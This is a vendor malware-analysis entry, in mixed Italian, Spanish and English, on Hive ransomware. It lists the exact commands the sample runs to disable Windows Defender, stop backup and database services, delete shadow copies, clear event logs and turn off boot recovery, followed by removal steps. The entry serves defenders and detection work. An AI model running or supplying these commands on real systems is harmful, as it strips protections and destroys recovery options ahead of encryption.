Analizzato da: Eleazar Valles   
 

Ransom.Win64.Hive (IKARUS), Ransom.Win64.Hive (MICROSOFT)

 Piattaforma:

Windows

 Valutazione del rischio complessivo:
 Potenziale dannoso: :
 Potenziale di distribuzione: :
 Reported Infection:
 Informazioni esposizione: :
Basso
Medio
Alto
Critico

  • Tipo di minaccia informatica:
    Ransomware

  • Distruttivo?:
    No

  • Crittografato?:
     

  • In the wild::
    Sì

  Panoramica e descrizione

Canale infezione: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Dettagli tecnici

Dimensione file: 4,164,096 bytes
Tipo di file: EXE
Residente in memoria: No
Carica distruttiva: Displays message/message boxes, Drops files, Terminates processes

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • {Drive Letter}\{Random String 1}_.key.{Random String 3}

Agrega los procesos siguientes:

  • net.exe stop "NetMsmqActivator" /y
  • net.exe stop "SamSs" /y
  • net.exe stop "SDRSVC" /y
  • net.exe stop "SstpSvc" /y
  • net.exe stop "UI0Detect" /y
  • net.exe stop "vmvss" /y
  • net.exe stop "VMware Physical Disk Helper Service" /y
  • net.exe stop "VMwareCAFCommAmqpListener" /y
  • net.exe stop "VMwareCAFManagementAgentHost" /y
  • net.exe stop "VSS" /y
  • net.exe stop "wbengine" /y
  • net.exe stop "WebClient" /y
  • sc.exe config "NetMsmqActivator" start= disabled
  • sc.exe config "SamSs" start= disabled
  • sc.exe config "SDRSVC" start= disabled
  • sc.exe config "SstpSvc" start= disabled
  • sc.exe config "UI0Detect" start= disabled
  • sc.exe config "vmvss" start= disabled
  • sc.exe config "VMware Physical Disk Helper Service" start= disabled
  • sc.exe config "VMwareCAFCommAmqpListener" start= disabled
  • sc.exe config "VMwareCAFManagementAgentHost" start= disabled
  • sc.exe config "VSS" start= disabled
  • sc.exe config "wbengine" start= disabled
  • sc.exe config "WebClient" start= disabled
  • reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  • schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  • reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  • reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  • reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  • reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  • vssadmin.exe delete shadows /all /quiet
  • wevtutil.exe cl system
  • wevtutil.exe cl security
  • wevtutil.exe cl application
  • wmic.exe SHADOWCOPY /nointeractive
  • wmic.exe shadowcopy delete
  • bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  • bcdedit.exe /set {default} recoveryenabled no
  • cmd.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  • cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  • cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  • notepad.exe {Drive Letter}\eauk_HOW_TO_DECRYPT.txt
  • cmd.exe /D /C ping.exe -n 5 {BLOCKED}.{BLOCKED}.0.1 && del "{Malware path and name}"<--BLOCKED 127.0.0.1 -->

Finalización del proceso

Finaliza los servicios siguientes si los detecta en el sistema afectado:

  • acronis
  • AcrSch2Svc
  • Antivirus
  • ARSM
  • AVP
  • backup
  • bedbg
  • CAARCUpdateSvc
  • CASAD2DWebSvc
  • ccEvtMgr
  • ccSetMgr
  • Culserver
  • dbeng8
  • dbsrv12
  • DCAgent
  • DefWatch
  • EhttpSrv
  • ekrn
  • Enterprise Client Service
  • EPSecurityService
  • EPUpdateService
  • EraserSvc11710
  • EsgShKernel
  • ESHASRV
  • FA_Scheduler
  • firebird
  • IISAdmin
  • IMAP4Svc
  • Intuit
  • KAVFS
  • KAVFSGT
  • kavfsslp
  • klnagent
  • macmnsvc
  • masvc
  • MBAMService
  • MBEndpointAgent
  • McAfee
  • McShield
  • McTaskManager
  • memtas
  • mepocs
  • mfefire
  • mfemms
  • mfevtp
  • MMS
  • MsDtsServer
  • MsDtsServer100
  • MsDtsServer110
  • msexchange
  • msmdsrv
  • MSOLAP
  • MVArmor
  • MVarmor64
  • NetMsmqActivator
  • ntrtscan
  • oracle
  • PDVFSService
  • POP3Svc
  • postgres
  • QBCFMonitorService
  • QBFCService
  • QBIDPService
  • redis
  • report
  • RESvc
  • RTVscan
  • sacsvr
  • SamSs
  • SAVAdminService
  • SavRoam
  • SAVService
  • SDRSVC
  • SepMasterService
  • ShMonitor
  • Smcinst
  • SmcService
  • SMTPSvc
  • SNAC
  • SntpService
  • sophos
  • sql
  • SstpSvc
  • stc_raw_agent
  • ^svc
  • swi_
  • Symantec
  • TmCCSF
  • tmlisten
  • tomcat
  • TrueKey
  • UI0Detect
  • veeam
  • vmware
  • vss
  • W3Svc
  • wbengine
  • WebClient
  • wrapper
  • WRSVC
  • WSBExchange
  • YooIT
  • zhudongfangyu
  • Zoolz

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

  • agntsvc
  • sql
  • CNTAoSMgr
  • dbeng50
  • dbsnmp
  • encsvc
  • excel
  • firefoxconfig
  • infopath
  • mbamtray
  • msaccess
  • mspub
  • mydesktop
  • Ntrtscan
  • ocautoupds
  • ocomm
  • ocssd
  • onenote
  • oracle
  • outlook
  • PccNTMon
  • powerpnt
  • sqbcoreservice
  • steam
  • synctime
  • tbirdconfig
  • thebat
  • thunderbird
  • tmlisten
  • visio
  • word
  • xfssvccon
  • zoolz

Otros detalles

Hace lo siguiente:

  • Accepts the following arguments:
    • -skip=[FILE_REGEX] - Regular expression for files excluded from encryption.
    • -stop=[SVC_REGEX] - Regular expression for stopping system services.
    • -kill=[PROC_REGEX] - Regular expression for the names of system services to be stopped.
    • -grant - Change permissions for all files: icacls.exe "[XX]:\*" /grant Everyone:F /T /C /Q
    • -no-wipe - Do not wipe empty disk space with random data.

  Soluzioni

Motore di scansione minimo: 9.800
Primo file di pattern VSAPI: 17.572.10
Data di pubblicazione del primo pattern VSAPI: 19 maggio 2022
Versione pattern VSAPI OPR: 17.573.00
Data di pubblicazione del pattern VSAPI OPR: 20 maggio 2022

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Buscar y eliminar este archivo

[ learnMore ]
Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • {Encrypted Directory}\eauk_HOW_TO_DECRYPT.txt
  • {Drive Letter}\{Random String 1}_.key.{Random String 3}

Step 5

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Ransom.Win64.GOHIVE.EVMSDS En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

Step 6

Restore encrypted files from backup.


Sondaggio